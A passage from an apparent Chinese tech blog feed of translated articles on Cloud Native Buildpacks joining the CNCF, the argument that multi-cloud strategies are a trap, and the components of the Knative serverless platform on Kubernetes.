&lt;p&gt;原文：&lt;a href=&#34;https://content.pivotal.io/blog/peace-of-mind-for-developers-and-operators-buildpacks-is-now-a-cncf-project-welcome-cloud-native-buildpacks?utm_campaign=content-social&amp;amp;utm_medium=social-sprout&amp;amp;utm_source=twitter&amp;amp;utm_content=1538514637&#34; target=&#34;_blank&#34;&gt;Peace of Mind for Developers and Operators: Buildpacks is now a CNCF project. Welcome Cloud Native Buildpacks!&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://content.pivotal.io/authors/diógenes-rettori&#34; target=&#34;_blank&#34;&gt;Diógenes Rettori&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;今天 Pivotal、&lt;a href=&#34;https://blog.heroku.com/buildpacks-go-cloud-native&#34; target=&#34;_blank&#34;&gt;Salesforce Heroku&lt;/a&gt; 和 CNCF 联合宣布，云原生 Buildpacks 技术被接纳为 &lt;a href=&#34;https://www.cncf.io/blog/2018/10/03/cncf-to-host-cloud-native-buildpacks-in-the-sandbox&#34; target=&#34;_blank&#34;&gt;CNCF 沙箱项目&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;多年以来 &lt;a href=&#34;https://devcenter.heroku.com/articles/buildpacks&#34; target=&#34;_blank&#34;&gt;Salesforce Heroku&lt;/a&gt; 以及 &lt;a href=&#34;https://docs.cloudfoundry.org/buildpacks/&#34; target=&#34;_blank&#34;&gt;Cloud Foundry&lt;/a&gt; 用户在 Buildpacks 的支持下，能够在不间断服务的情况下对应用及其依赖进行构建、打包和更新，让开发人员可以更加专注的在代码上投入精力。Buildpacks 最初由 Salesforce Heroku 开发，将应用程序的依赖一直抽象到操作系统级别。&lt;/p&gt;

&lt;p&gt;这种抽象和分离能够在维持应用的持续运行的情况下，让基础设施针对系统缺陷和关键补丁进行升级。好点子值得向开原世界分享；Cloud Foundry 社区在项目初期就接收了 Buildpack 模型。目前数以百计的企业以及几十万开发人员都在生产环境中使用 Buildpacks 来对各种应用提供支持。&lt;/p&gt;

&lt;p&gt;为了让更多社区从这一技术受益，最终 Pivotal 和 Salesforce Heroku 的工程师一同将该项目推向 CNCF，并命名为 Cloud Native Buildpacks（CNB）。该项目具备和 Heroku 以及 Cloud Foundry 生态系统中的 Buildpacks 同样的优秀特性。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Heroku 首席工程师 Terence Lee：Buildpacks 于 2011 年诞生于 Heroku，为多语言平台的实现铺平了道路。上百万的开发者通过这一技术的应用提高了生产力和安全性。我们自豪的为新的 Cloud Native Buildpacks 标准贡献专业知识和代码，从而更多开发者提供简化的从代码到容器的工作流。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;blockquote&gt;
&lt;p&gt;Pivotal Cloud Foundry Buildpacks 项目负责人 Stephen Levine：Cloud Foundry Buildpacks 让 Pivotal 的企业客户能够管理大规模应用的依赖，提供更好的运维支持从而让开发人员更多的专注于商业价值的交付工作。拥抱云原生标准之后，Buildpacks 将提升到一个新的水平。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;理解-cloud-native-buildpacks&#34;&gt;理解 Cloud Native Buildpacks&lt;/h2&gt;

&lt;p&gt;CNB 流程分为四个步骤，每个步骤都有各自的重要目标，最终产出就是 OCI 镜像。CNB 让开发和运维人员能够把创建各种软件的过程中所需的构建、补丁和重新打包的工作自动化成适合机器执行的重复任务。如果 Buildpacks 能够完成容器的构建和管理工作，还需要人工完成么？&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;检测&lt;/strong&gt;：对源码以及其它内容进行检测，查找与其匹配的可用 Buildpacks。假设提供一套 Java 源文件，就会检测到 Java Buildpack 适用于这一输入。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;分析&lt;/strong&gt;：CNB 会在应用的生命周期中运行多次，在这一步骤里会对前一次的打包内容进行分析，分析过程会对文件的变更进行优化，从而减少构建时间和文件传输。这里会使用多个镜像层来对内容进行组织。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;构建&lt;/strong&gt;：如果镜像层或者目录需要进行替换，构建过程就会生成新的层。这里会提供缓存来加速构建过程。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;导出&lt;/strong&gt;：这个步骤中会生成最终镜像并推送到镜像仓库之中。传输、磁盘使用和更新时间都会用镜像层的更新操作来完成。另外 CVE 补丁也可以同时应用到多个镜像之中。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;CNB 在 CNCF 生态系统中的旅途才刚刚开始，这其中包含了 Pivotal 客户、Salesforce Heroku 客户以及云原生用户的认可和贡献。很多用户在 Docker 和 Kubernetes 变得炙手可热之前就在 Buildpacks 技术上下了注，现在它们的投资已经成功的应用到了其他生态系统之中。&lt;/p&gt;

&lt;h2 id=&#34;起步&#34;&gt;起步&lt;/h2&gt;

&lt;p&gt;所以还等什么？现在就去 &lt;a href=&#34;http://buildpacks.io/&#34; target=&#34;_blank&#34;&gt;Buildpacks.io&lt;/a&gt; 尝尝鲜吧。&lt;/p&gt;

&lt;p&gt;Pivotal 理解，开源项目想要成功，很大程度上要靠开发者、合作伙伴以及客户构成的广泛、开放的社区。想要对项目做出贡献或者提出问题，可以关注项目的 &lt;a href=&#34;https://github.com/buildpack&#34; target=&#34;_blank&#34;&gt;Github 仓库&lt;/a&gt; 并关注项目账号 &lt;a href=&#34;https://twitter.com/buildpacks_io&#34; target=&#34;_blank&#34;&gt;@buildpacks_io&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>警惕多云陷阱</title>
      <link>/post/multi-cloud-is-a-trap/</link>
      <pubDate>Sat, 22 Sep 2018 11:04:21 +0800</pubDate>
      <guid>/post/multi-cloud-is-a-trap/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://bravenewgeek.com/multi-cloud-is-a-trap/&#34; target=&#34;_blank&#34;&gt;Multi-Cloud Is a Trap&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://bravenewgeek.com/about-me/&#34; target=&#34;_blank&#34;&gt;Tyler Treat&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;和众多客户进行了沟通之后，我们得到了一些普遍需求：云无关、避免厂商锁定、能够在不同云供应商之间把工作负载进行无缝切换。这里我要再说一遍：&lt;strong&gt;多云是陷阱&lt;/strong&gt;。大型零售商可能不想依赖在 Amazon 的基础设施上，除此以外，我想不出任何理由，让任何规模的组织将多云支持作为优先需求来考虑。&lt;/p&gt;

&lt;p&gt;如果只是纸上谈兵，多云策略是很棒的；但是这一过程会引入了不必要的麻烦。绝大多数情况下，这种方法都会是一个兵分多路的过程，在用更多成本来解决旧问题的同时，造出更多的新问题，最终只能是竹篮打水一场空。这个说法似有危言耸听之嫌，后面会进一步进行说明。首先画个范围，这里提到的多云，指的是在不同云供应商的设施上运行同样的服务；或者一种允许用户在供应商之间平滑切换应用程序的设计方法。这一称谓不包括利用各不同供应商各自的最佳组件或者使用更高级别的跨供应商抽象方案的情况。&lt;/p&gt;

&lt;p&gt;多云方案有很多值得关注的原因，主要是以下几个方向：灾备、供应商锁定和花费。我们会逐一进行讨论，并在最后看看多云实际发挥作用的方向。&lt;/p&gt;

&lt;h2 id=&#34;灾备&#34;&gt;灾备&lt;/h2&gt;

&lt;p&gt;多云方案经常以灾备方案的面目出现。当我们讨论灾备的时候，首先要对云供应商的运作方式有个清晰的认识。AWS、GCP 和 Azure 这些公有云供应商都有分区和 Availability Zone（AZ）的概念（Azure 在&lt;a href=&#34;https://www.datacenterknowledge.com/microsoft/azure-outage-proves-hard-way-availability-zones-are-good-idea&#34; target=&#34;_blank&#34;&gt;受到教训&lt;/a&gt;之后，最近在部分分区提供了 Availability Zone（AZ））。分区是一组在特定地理区域范围内的数据中心；而 AZ 是分区之内的一或多个数据中心。每个 AZ 都有独立的网络连接和备用供电，一个分区内的多个 AZ 之间会有低延迟网络链接。不同 AZ 可能处于同一个建筑内（配备独立计算、供电、冷却等设施）或者完全分开、甚至可能在几百英里以外。&lt;/p&gt;

&lt;p&gt;分区一级的服务中断非常少见，然而一旦发生，就意味着互联网发生大规模的瘫痪，因此一定会成为万众瞩目的焦点。因为 AZ 本身在地理上是孤立的，除非是有陨石摧毁整个弗吉尼亚，否则很难干掉整个分区。更能导致区域故障的原因可能是配置或者其他方面的运维问题。虽然少见，但是确有发生（&lt;a href=&#34;https://aws.amazon.com/message/41926/&#34; target=&#34;_blank&#34;&gt;案例 1&lt;/a&gt;，&lt;a href=&#34;https://aws.amazon.com/message/680587/&#34; target=&#34;_blank&#34;&gt;案例 2&lt;/a&gt;）。然而分区是高度隔离的，并且服务商的维护活动会在特定的时间窗口进行，从而避免多分区同时故障。&lt;/p&gt;

&lt;p&gt;当然不是说多区域故障不可能发生（比如流星毁灭半个美洲大陆或者一些奇怪的蝴蝶效应）。有一些主干设施可能会跨区工作，也有可能引发&lt;a href=&#34;https://status.cloud.google.com/incident/cloud-networking/18012&#34; target=&#34;_blank&#34;&gt;大规模事故&lt;/a&gt;。这样看来，多个云供应商很明显比提供多区域服务的单一供应商要安全，但是灾备是个跨度极大的话题，这种成本之中，云服务的移植性在成本构成上只占很小一份。你可能并不需要用多个云供应商来提供额外的灾备保障——除非你具备 google 或者 amazon 的规模。毕竟 Amazon.com 是世界上最大的零售商，如果你的灾备需求达到这一等级，你的规模也可想而知了。&lt;/p&gt;

&lt;h2 id=&#34;供应商锁定&#34;&gt;供应商锁定&lt;/h2&gt;

&lt;p&gt;供应商锁定是一个关于恐惧、不确定性以及怀疑的话题，这个话题经常被当做多云策略的理由。Beau 在&lt;a href=&#34;https://blog.realkinetic.com/stop-wasting-your-beer-money-12c3fe5e4d54&#34; target=&#34;_blank&#34;&gt;他的文章&lt;/a&gt;中说过：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;云、DevOps、Serverless 这些都是用于将普遍需求进行商品化的尝试。它们可能不是完美方案。是的，可能造成厂商锁定。但是我认为这是一个值得尝试的行为，并没有听起来那么可怕。Tim O&amp;rsquo;Reilly 有一段话：&lt;/p&gt;

&lt;p&gt;锁定的出现，是因为有人能从你的服务中受益，而不是受控于你。&lt;/p&gt;

&lt;p&gt;之所以我们会被锁定，一定是因为我们从这一过程中获得了好处。首先这意味着我们利用了这一服务的全部价值；另外作为众多消费者中的一员，我们还可能拥有超出认知的更多好处。服务商为了能够持续提供我们从中受益的能力，也必须与时俱进升级换代，以此来保障收入。O&amp;rsquo;Reilly 指出，供应商的控制能力其实是小于客户认知的。服务商的主要任务就是根据自身对客户需求的认识，构建系统以期最大程度上满足市场需要。它们的动力就是市场上的用户的价值。&lt;/p&gt;

&lt;p&gt;用户权益的另外一个重要来源就是竞争。强如 AWS，仍然有为数众多的竞争对手。当竞争者看到市场空档，要提供不同的方案时，也必须同时满足市场上的基础需求。这个就是我们在各个供应商的方案中都能看到通用功能的原因。这都是利益驱动的。我们当然要善加利用。不可否认的是，在供应商之间迁移是要有投入的，但是如果相对于从自建基础设施首次迁入公有云的过程来说，这种投入规模要小很多。一旦进入了公有云，同时也就具备了更好的敏捷性。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我经常看到有公司为了避免供应商锁定做出种种匪夷所思的怪事，然而用这个理由来推进多云方案，则是让我感觉最震撼的一件了。原本应该用于建设差异化业务的成本，却投入到趋同的建设中去。&lt;/p&gt;

&lt;p&gt;这种行为的产生，有很多原因。正如 Beau 指出的，我们常常高估自身能力，又经常对成本估计不足。是做还是买？两种方案很难对照。这有点像&lt;a href=&#34;https://zh.wikipedia.org/wiki/宜家效應&#34; target=&#34;_blank&#34;&gt;宜家效应&lt;/a&gt;，消费者总是给自己参与建设的产品以过高的估价。另外当前的趋势是，企业重心从 IT 改为业务，尤其是&lt;a href=&#34;https://svpg.com/product-vs-it-mindset/&#34; target=&#34;_blank&#34;&gt;产品思维&lt;/a&gt;对企业转型产生了巨大影响，这种奇怪的方案，可能也算是是 IT 部门尝试&lt;a href=&#34;https://vimeo.com/159168637&#34; target=&#34;_blank&#34;&gt;保持控制权&lt;/a&gt;的一种尝试。&lt;/p&gt;

&lt;p&gt;云无关特性的重要程度还不足影响关键决策。如果以此思维作为起点，系统设计就会受到严重的限制，同时也无法完全享有云带来的好处——搞得好像你只是租了新的主机。Pivotal Cloud Foundry 和 RedHat OpenShift 这样的平台提供了能在主流私有云和公有云上运行的能力，这种做法实际上是做了一个虚拟层，把每个受支持的云平台的差异能力都进行了抽象。这种抽象在远离锁定的同时，也远离了价值。避免锁定的意思就是，避免全面使用已经购买的服务。这种抽象如果把一种差异化能力抽象成了一种通用接口，很难相信在保持云无关性的同事还能从供应商的差异功能上受益；如果没有抽象成通用接口，那这种平台的存在价值以及他如何做成多云就难于澄清了。&lt;/p&gt;

&lt;p&gt;抛开 PCF 或者红帽子不谈，但是主要云供应商一直在对自家平台进行解绑，并且用一种更加民主的方式进行重新绑定，这种举措让多云平台的价值被大幅削弱。在 Kubernetes 前期以及容器时代，也就是 PaaS 的全盛时期，多云还是一个好故事。然而随着容器、Kubernetes 尤其是像 &lt;a href=&#34;https://cloud.google.com/kubernetes-engine/&#34; target=&#34;_blank&#34;&gt;GKE&lt;/a&gt; 以及 &lt;a href=&#34;https://cloud.google.com/gke-on-prem/&#34; target=&#34;_blank&#34;&gt;GKE On-Prem&lt;/a&gt;（以及类似的其他厂商）的大行其道，多云故事越来越难吸引听众了。有趣的是，最新发布的 &lt;a href=&#34;https://cloud.google.com/knative/&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt; 是与 Pivotal 和 RedHat 紧密合作建立的，似乎是在利用 Kubernetes 的势头，在企业拥抱 Serverless 的盛宴上分一杯羹。&lt;/p&gt;

&lt;p&gt;但是有些人会把朵云平台作为一种服务，这其中存在一些问题。这种过程通过一个运维团队来完成多云操作的——也有可能是和供应商直接签订了服务协议。&lt;/p&gt;

&lt;p&gt;多云部署需要对多个平台的了解。PaaS 可能可以把开发者从中解放出来，但是责任并没有消失，只是转移到了运维的身上。我们还没有谈到安全以及合规方面的事务。对某些还在观望公有云的企业来说这些因素都是负面影响。只有绕过华丽的市场词令，才能看清多云方案的实际情况。&lt;/p&gt;

&lt;p&gt;现在已经没有多少空间留给自建的 PaaS 平台了，只是因为跟业务无关。我认为 Pivotal 和 RedHat 的收入很大程度上就是来自于提供服务。这些平台的价值就在于&lt;a href=&#34;https://www.sec.gov/Archives/edgar/data/1574135/000104746918002061/a2234898zs-1.htm#dn42701_selected_consolidated_financial_data&#34; target=&#34;_blank&#34;&gt;为专业服务牵线搭桥&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;总的说来，非战略系统的厂商锁定所造成的风险并不高。例如用于存储数据的数据库，不管是 Amazon、google 还是 Azure 的，技术上有一些区别，但是归根到底只是用来存储和读取数据的。在这些数据库中进行迁移一定要投入成本，但是客户一定是为了获得好处才需要进行迁移的，这个好处一定是远大于迁移成本。但是运行重要业务逻辑、触及公司关键的核心系统还是应该避免供应商锁定的。正如 &lt;a href=&#34;https://www.joelonsoftware.com/2001/10/14/in-defense-of-not-invented-here-syndrome/&#34; target=&#34;_blank&#34;&gt;Joel Spolsky 所说&lt;/a&gt;：“不管怎样，关键业务功能还是要自建的。选择你的核心业务能力和业务目标，在内部完成。”&lt;/p&gt;

&lt;h2 id=&#34;价格&#34;&gt;价格&lt;/h2&gt;

&lt;p&gt;价格可能是多云的理由中最弱的一个。实际情况是，随着商品化程度的不断深入，所有的供应商都在压低价格。在供应商之间的价格比较，最终都是某个方面花费更多，某个方面花费较少的选择。&lt;a href=&#34;https://thenewstack.io/why-enterprises-are-adopting-a-multicloud-strategy/&#34; target=&#34;_blank&#34;&gt;多云之间的价格套利&lt;/a&gt;只是部分人的臆想。一方面，这种设想很不现实；另一方面，这种做法会失去用量折扣。我曾经在 &lt;a href=&#34;https://bravenewgeek.com/gcp-and-aws-whats-the-difference/&#34; target=&#34;_blank&#34;&gt;AWS 和 GCP 的对比&lt;/a&gt;中说过我的经验，不同的供应商侧重点不同，做好这一选择才能真正的节约成本。&lt;/p&gt;

&lt;p&gt;Beau 也说过，云厂商利用锁定优势坐地起价这种事情很不合理。首先，这不是规模经济的运作方式。初次上云之后，在云供应商之间的迁移成本会大大降低，所以杀熟并不是云服务商的最佳选择。他们的首要任务是获得最大市场份额，竞争环境强制降低 IaaS 的成本。因为竞争环境和获取市场份额的需要，定价会趋于一致。云服务商必须将技术栈向 SaaS 以及增值服务方向发展，才能获取更好的效益。&lt;/p&gt;

&lt;p&gt;另外多数公有云提供了批量折扣。例如 AWS 的 &lt;a href=&#34;https://aws.amazon.com/ec2/pricing/reserved-instances/&#34; target=&#34;_blank&#34;&gt;Reserved Instance&lt;/a&gt; 有高达 75% 的 EC2 折扣，其他的 AWS 服务也有批量折扣，并且 Amazone 提供&lt;a href=&#34;https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/useconsolidatedbilling-discounts.html&#34; target=&#34;_blank&#34;&gt;合并账单&lt;/a&gt;选项，可以合并组织内成员的账单，从而尽可能的提供合理的折扣。GCP 则提供了&lt;a href=&#34;https://cloud.google.com/compute/docs/sustained-use-discounts&#34; target=&#34;_blank&#34;&gt;持续使用折扣&lt;/a&gt;，在计费月份的大部分时间内运行 GCE 应用则会自动应用此折扣。它们还提供了一个称作 Inferred Instance 的功能，将部分实例打包成为单个实例，防止实例替换时丢失折扣。GCP 也有和 AWS Reserved Instance 类似的 Committed Use Discounts。如果资源分散在多个不同的云上，可能就很难获得这些优惠了。&lt;/p&gt;

&lt;h2 id=&#34;多云的适用场景&#34;&gt;多云的适用场景&lt;/h2&gt;

&lt;p&gt;我再次声明，多云方案对多数组织来说，除了分神别无用处。如果你的公司刚刚开始涉及云端，这种方案不但毫无助益，还会让你无法看清真正的重点；同时会拖慢进展速度，并埋下不安的种子。&lt;/p&gt;

&lt;p&gt;一些公司试图同时在多个云服务上进行建设，避免把鸡蛋装在同一个篮子里。我认为这会适得其反，实际上会降低生产力，提高失败的风险。对于较小的组织，应该选择供应商并集中精力进行生产。尽可能利用托管服务，不要使用多云作为理由。对于大型公司而言，多云方案并不是不合理的，但应该通过受控实验来完成。这是云的优势之一，我们可以进行有限的投资和实验而无需大量的前期支出，只要注意一下多云 PaaS 和服务合同即可。&lt;/p&gt;

&lt;p&gt;但是这也不意味着多云方案就完全无用了。真实世界从来没有这么干脆。对于具有多个业务机构的大型企业来说。多云的存在有其必然性。不同的产品团队可能有不同的成熟度、IT 基础设施，另外还有合并以及收购产生的结果。多云方案在这里存在一点存在价值就是——各有所好。这其实就回到上面的话题，云供应商的服务栈升级，不断提高的差异化水平和对应的增值服务会让多云方案更有意义。还有一种可能的情况就是数据主权。但是随着分区和 AZ 的普遍存在，这种情况会越来越少。但是 Google Cloud Spanner 这样的“全球可用”服务会放弃 AZ 粒度，因此可能会影响到 GDPR 之类的法规。对于拥有主机托管设施的企业来说，混合云最终会成为现实的解决方案，虽然这种方案更加复杂更加难于向多云方向迁移。&lt;/p&gt;

&lt;p&gt;对于还处在试水阶段的用户，多云策略不应该处于备选方案的前列。而且绝对不应该是一个指导目标，也不应该是个影响业务方面核心决策或策略的选项。多云方案有一定的适用条件，除去这些特例之外，只是平白无故的消费掉了宝贵的注意力而已。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Knative：在 Kubernetes 上构建可移植 Serverless 平台</title>
      <link>/post/knative-enables-portable-serverless/</link>
      <pubDate>Thu, 20 Sep 2018 17:13:03 +0800</pubDate>
      <guid>/post/knative-enables-portable-serverless/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/knative-enables-portable-serverless-platforms-on-kubernetes-for-any-cloud/&#34; target=&#34;_blank&#34;&gt;Knative Enables Portable Serverless Platforms on Kubernetes, for Any Cloud&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/dan-baskette/&#34; target=&#34;_blank&#34;&gt;Dan Baskette&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 目前如日中天，这一项目不仅在容器编排方面独占鳌头，还给基础设施自动化进程提供了可实践的原语。&lt;/p&gt;

&lt;p&gt;但是我们注意到，开发团队在进行基于 Kubernetes 的应用部署时常有困扰。Kubernetes 毕竟只会推送容器——要想推送应用代码或者 Function，很明显就不是 Kubernetes 的能力所在了。&lt;/p&gt;

&lt;p&gt;这样一来，就有不少厂商以 K8S 作为基础设施，展开了高级抽象方面的竞争。这也是 &lt;a href=&#34;http://github.com/knative&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt; 的着眼点。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://twitter.com/kelseyhightower&#34; target=&#34;_blank&#34;&gt;Kelsey Hightower&lt;/a&gt;：Kubernetes 是一个用来构建平台的平台。它是起跑线，不是目的地。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;function-是值得注意的下一次抽象&#34;&gt;Function 是值得注意的下一次抽象&lt;/h2&gt;

&lt;p&gt;读者可能已经注意到分布式系统世界的新晋成员：FaaS（Functions/Serverless）。Function 是一种新的抽象方式，让开发人员能够轻松的运行部署代码片段，并具备根据事件进行伸缩的能力。&lt;/p&gt;

&lt;p&gt;这对开发人员来说是非常有吸引力的。为什么？把所有的基础设施和应用启动之前的事件处理都抽象之后，开发人员能够完全专注于解决如何使用 Function 的代码处理事件的问题。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://storage.googleapis.com/cdn.thenewstack.io/media/2018/07/26b7e88b-danb1.png&#34; alt=&#34;抽象策略&#34; /&gt;&lt;/p&gt;

&lt;p&gt;天下自然是没有免费的午餐了，FaaS 的问题在哪里呢？&lt;/p&gt;

&lt;p&gt;市场上有很多 FaaS 方案，每个都是独一无二的，他们有自己的 Function 触发方式，自己的可接受事件格式范围，独特的伸缩功能以及从各自角度触发，为开发人员作出的各种抽象。&lt;/p&gt;

&lt;p&gt;如果有要用到的抽象，可以寄希望于云供应商将其打包并为你提供服务。Azure Functions、Lambda 以及 Google Cloud Function 就是这样工作的：根据事件运行 Function 代码，按需伸缩。这类产品按照用量进行计费——根据调用量收取费用。&lt;/p&gt;

&lt;p&gt;开源社区的开发者们也加入了 FaaS 的盛宴，OpenFaaS、Fission、Kubeless 以及 Project Riff 这些项目都是构建在 Kubernetes 之上的 FaaS。这一共同的基础，也有了大同小异的产品。&lt;/p&gt;

&lt;p&gt;在三个核心领域，每个项目都有些许差异：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;都有自己的构建服务，也就是把 Function 进行容器式构建和部署的功能。&lt;/li&gt;
&lt;li&gt;都有一种按调用需要进行扩容（或者缩容）的实现。&lt;/li&gt;
&lt;li&gt;都提供了根据事件调用 Function 的能力，事件可能是 HTTP 或者是事件中间件的发布、订阅方式。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这些细微差异会造成平台采用的巨大障碍。在企业开发者眼里，这一领域功能破碎，竞品众多。所以只能静观其变。&lt;/p&gt;

&lt;h2 id=&#34;knative-适时出现&#34;&gt;Knative 适时出现&lt;/h2&gt;

&lt;p&gt;Google 看到这种碎片化的现状，也注意到了开发人员在 Kubernetes 上进行 Function 开发的过程中对通用工具集的需求。&lt;a href=&#34;http://pivotal.io/knative&#34; target=&#34;_blank&#34;&gt;Knative&lt;/a&gt; 就是基于这种需求产生的。&lt;/p&gt;

&lt;p&gt;Knative 是一个开源软件层，帮助云服务供应商和企业平台在任意云上为开发者提供 Serverless 体验。&lt;/p&gt;

&lt;p&gt;Pivotal 也身在其中，不但向 Knative 贡献了来自 &lt;a href=&#34;https://projectriff.io/&#34; target=&#34;_blank&#34;&gt;riff&lt;/a&gt; 项目的事件模型，还和 Google 一起，在其它方面贡献了开发人员和代码。我们为这一项目的未来欢欣鼓舞，将 riff 和 Knative 结合在一起，酝酿成我们的新项目 &lt;a href=&#34;https://pivotal.io/platform/pivotal-function-service&#34; target=&#34;_blank&#34;&gt;Pivotal Function Service&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;所以对于 Knative 来说，还需要知道点什么呢？这个项目使用 Kubernetes 作为容器编排层。它使用大家熟知的 Kubernetes 对象（Pod、Replica Set 以及 Deployment）构建应用。Istio？是的，Knative 使用 Istio 来进行网格内的路由以及 Ingress 入口管理。&lt;/p&gt;

&lt;p&gt;但是仅仅有 Kubernetes 和 Istio 还是不够的。因此 Knative 同时还引入了三个松耦合的组件，协同对外提供一个完整的 Serverless 平台：Build、Eventing 以及 Serving。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Build：提供了一个可插入模型，用于从源码构建容器。&lt;/li&gt;
&lt;li&gt;Eventing：让应用或者 Function 发布到或订阅事件流，事件流包括 Google Cloud Pub/Sub 以及 Apache Kafka。&lt;/li&gt;
&lt;li&gt;Serving：为应用或 Function 提供运行和扩容以及缩容至 0 的能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述元素融合形成的 Knative 又有何神通？它提供了一种较为简化的部署和运行 function 的方式，包括这些模式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;从源码构建应用和 Function。&lt;/li&gt;
&lt;li&gt;包含多种构建方法（Cloud Foundry Buildpacks、Bazel、Kaniko、Dockerfiles，并可以扩展支持其他方式）。&lt;/li&gt;
&lt;li&gt;开发者能够轻松部署新的（可路由的）应用和 Function。&lt;/li&gt;
&lt;li&gt;允许应用的不间断升级。&lt;/li&gt;
&lt;li&gt;应用实例的自动伸缩。&lt;/li&gt;
&lt;li&gt;把事件绑定到 Function、应用或者容器上。&lt;/li&gt;
&lt;li&gt;当发生 HTTP 请求时触发 Function。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;稍微深入一点看看这几个组件。&lt;/p&gt;

&lt;h2 id=&#34;build-源码到容器的弹性和可扩展过程&#34;&gt;Build：源码到容器的弹性和可扩展过程&lt;/h2&gt;

&lt;p&gt;开发人员编写源码。Kubernetes 操作容器。如何完成联动？Cloud Foundry 使用 buildpack 来完成这一场景。Knative 提供一个插件模型来完成从代码到容器的构建过程。这一模型通过 CRD 实现，也就是一组 Kubernetes API 对象。这种方式提供了一个构建块，能够作为一个 CI/CD 之类的更大系统的一部分，完成源码的构建。&lt;/p&gt;

&lt;p&gt;Knative 的 Build 组件包含 4 个主要组成部分。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;描述如何获取待构建的源码。位置在 &lt;code&gt;/workspace&lt;/code&gt; 卷中存储，这个内容会在后面的步骤中沿用。通常情况下，源码会保存在 git gcs 之类的版本控制系统中，也可以用自定义容器来访问源码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;步骤或模板&lt;/strong&gt;：这是构建容器的实际工作。这个过程简单说来就是根据 Build 规范完成一系列步骤。换句话说，这一过程由一组可插接构建器组成，被设计用来从源码构建容器，目前这个模型支持五种构建模板，提供了可共享的构建过程：&lt;a href=&#34;https://docs.cloudfoundry.org/buildpacks/&#34; target=&#34;_blank&#34;&gt;Cloud Foundry Buildpacks&lt;/a&gt;、&lt;a href=&#34;https://cloud.google.com/container-builder/docs/&#34; target=&#34;_blank&#34;&gt;Google Container Builder&lt;/a&gt;、Bazel、Kaniko 以及 Jib。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service Account&lt;/strong&gt;：用来运行构建过程的账号。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储卷&lt;/strong&gt;：可以定义多个卷，来提供对构建步骤的支持。这些卷可以有很多用途，例如共享 Secret 或者在多个步骤间提供缓存。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;serving-按需伸缩以及版本为基础的高级运维&#34;&gt;Serving：按需伸缩以及版本为基础的高级运维&lt;/h2&gt;

&lt;p&gt;自动化升级了开发者的工作流。Serving 的自动化范围覆盖了从容器到运行中的 Function 部分。它还提供了容器的快速部署，以及根据进入请求完成扩容到 N 或缩容到 0 的能力支持。Istio 在版本之间进行路由，这使得不间断升级、蓝绿部署、金丝雀测试以及回滚都成为了可能。&lt;/p&gt;

&lt;p&gt;Serving 包含了四个 CRD：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;管理应用和 Function 的生命周期以及提供控制点。它可以处理对象的生成，来保障应用或者 Function 的任何版本更新都具备网络路由、配置以及版本支持。&lt;/li&gt;
&lt;li&gt;代码和配置的固定快照。一个版本会引用一个容器以及创建这个容器所需的内容。历史中可以包含多个版本，这样就能够支持一些蓝绿部署或者回退之类的高级运维工作。&lt;/li&gt;
&lt;li&gt;网络端点到一或多个应用版本的映射。&lt;/li&gt;
&lt;li&gt;定义了部署的最新版本以及各版本的状态。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/7346ed16-danb2.png&#34; alt=&#34;serving&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;eventing-把订阅-发布操作进行抽象-简化开发人员工作&#34;&gt;Eventing：把订阅/发布操作进行抽象，简化开发人员工作&lt;/h2&gt;

&lt;p&gt;Function 的基本存在价值就是用来响应事件。FaaS 项目和受管服务的区别就是事件的接收以及消费方式。Knative Eventing 组件用来对事件系统的后端进行抽象，从而解放开发人员。开发人员无需了解消息平台、不用关注数据复制等问题。&lt;/p&gt;

&lt;p&gt;Knative 提供了 CRD 用于事件的生产和消费。Eventing 组件由两类 CRD 组成：&lt;/p&gt;

&lt;ul&gt;
